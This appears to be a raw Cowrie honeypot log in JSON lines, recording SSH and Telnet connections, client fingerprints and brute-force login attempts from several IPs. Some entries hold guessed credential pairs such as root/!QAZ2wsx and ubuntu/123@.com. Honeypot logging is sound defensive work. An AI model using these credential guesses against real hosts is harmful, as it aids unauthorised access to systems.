{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:05.914925Z","src_ip":"103.88.76.27","session":"0b7b84680288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45054,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a0af941980","protocol":"telnet","message":"New connection: 45.58.127.90:45054 (10.17.0.5:23) [session: 42a0af941980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:18.424239Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":49970,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e063fac099","protocol":"ssh","message":"New connection: 47.239.15.75:49970 (159.203.135.109:22) [session: d8e063fac099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:33.050256Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44580,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3fa182d9e7","protocol":"telnet","message":"New connection: 45.58.127.90:44580 (10.17.0.5:23) [session: 0e3fa182d9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:40.786776Z"}
{"eventid":"cowrie.session.closed","duration":34.98385787010193,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:53.407888Z","src_ip":"45.58.127.90","session":"42a0af941980","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:55.121710Z","src_ip":"47.239.15.75","session":"d8e063fac099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:55.125696Z","src_ip":"47.239.15.75","session":"d8e063fac099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":33978,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea6786edc18f","protocol":"ssh","message":"New connection: 103.88.76.27:33978 (159.203.135.109:22) [session: ea6786edc18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:00.412750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:00.420536Z","src_ip":"103.88.76.27","session":"ea6786edc18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:00.661553Z","src_ip":"103.88.76.27","session":"ea6786edc18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Changeme_123","message":"login attempt [user/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:01.655291Z","src_ip":"103.88.76.27","session":"ea6786edc18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:02.624515Z","src_ip":"47.239.15.75","session":"d8e063fac099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:02.898799Z","src_ip":"103.88.76.27","session":"ea6786edc18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:03.187253Z","src_ip":"47.239.15.75","session":"394b1442067b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:04.374986Z","src_ip":"47.239.15.75","session":"d8e063fac099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":46878,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8c4c42af99b","protocol":"ssh","message":"New connection: 47.239.15.75:46878 (159.203.135.109:22) [session: d8c4c42af99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:14.394969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:14.849876Z","src_ip":"47.239.15.75","session":"d8c4c42af99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:20.073399Z","src_ip":"47.239.15.75","session":"d8c4c42af99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:23.791656Z","src_ip":"47.239.15.75","session":"d0c402cc22a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.09367322921753,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:23.880298Z","src_ip":"45.58.127.90","session":"0e3fa182d9e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:36.171168Z","src_ip":"47.239.15.75","session":"d0c402cc22a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":42862,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e3ed6009c1a","protocol":"ssh","message":"New connection: 202.125.94.71:42862 (159.203.135.109:22) [session: 3e3ed6009c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:43.065736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:43.070565Z","src_ip":"202.125.94.71","session":"3e3ed6009c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:43.328909Z","src_ip":"202.125.94.71","session":"3e3ed6009c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"abc123","message":"login attempt [server/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:44.394624Z","src_ip":"202.125.94.71","session":"3e3ed6009c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:45.660284Z","src_ip":"202.125.94.71","session":"3e3ed6009c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":47134,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e8e98f8faf1","protocol":"ssh","message":"New connection: 103.88.76.27:47134 (159.203.135.109:22) [session: 7e8e98f8faf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:56.928904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:56.933838Z","src_ip":"103.88.76.27","session":"7e8e98f8faf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:57.192750Z","src_ip":"103.88.76.27","session":"7e8e98f8faf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"linux123","message":"login attempt [user/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:58.260435Z","src_ip":"103.88.76.27","session":"7e8e98f8faf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:11:59.523160Z","src_ip":"103.88.76.27","session":"7e8e98f8faf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42936,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f6c0dff40e","protocol":"telnet","message":"New connection: 45.58.127.90:42936 (10.17.0.5:23) [session: a7f6c0dff40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:08.952997Z"}
{"eventid":"cowrie.session.closed","duration":0.19413447380065918,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:09.147013Z","src_ip":"45.58.127.90","session":"a7f6c0dff40e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":58756,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb21f13f3fd","protocol":"ssh","message":"New connection: 47.239.15.75:58756 (159.203.135.109:22) [session: 6fb21f13f3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:20.063092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:33.050569Z","src_ip":"47.239.15.75","session":"6fb21f13f3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:33.677653Z","src_ip":"47.239.15.75","session":"6fb21f13f3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":37012,"dst_ip":"159.203.135.109","dst_port":22,"session":"53db2dfd57ed","protocol":"ssh","message":"New connection: 202.125.94.71:37012 (159.203.135.109:22) [session: 53db2dfd57ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:47.905991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:47.911912Z","src_ip":"202.125.94.71","session":"53db2dfd57ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:48.171730Z","src_ip":"202.125.94.71","session":"53db2dfd57ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123@.com","message":"login attempt [ubuntu/123@.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:49.237423Z","src_ip":"202.125.94.71","session":"53db2dfd57ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44482,"dst_ip":"10.17.0.5","dst_port":23,"session":"d90e06adab13","protocol":"telnet","message":"New connection: 45.58.127.90:44482 (10.17.0.5:23) [session: d90e06adab13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:49.567332Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:50.499588Z","src_ip":"202.125.94.71","session":"53db2dfd57ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":59782,"dst_ip":"159.203.135.109","dst_port":22,"session":"073581d39083","protocol":"ssh","message":"New connection: 103.88.76.27:59782 (159.203.135.109:22) [session: 073581d39083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:51.560552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:51.565332Z","src_ip":"103.88.76.27","session":"073581d39083","protocol":"ssh"}
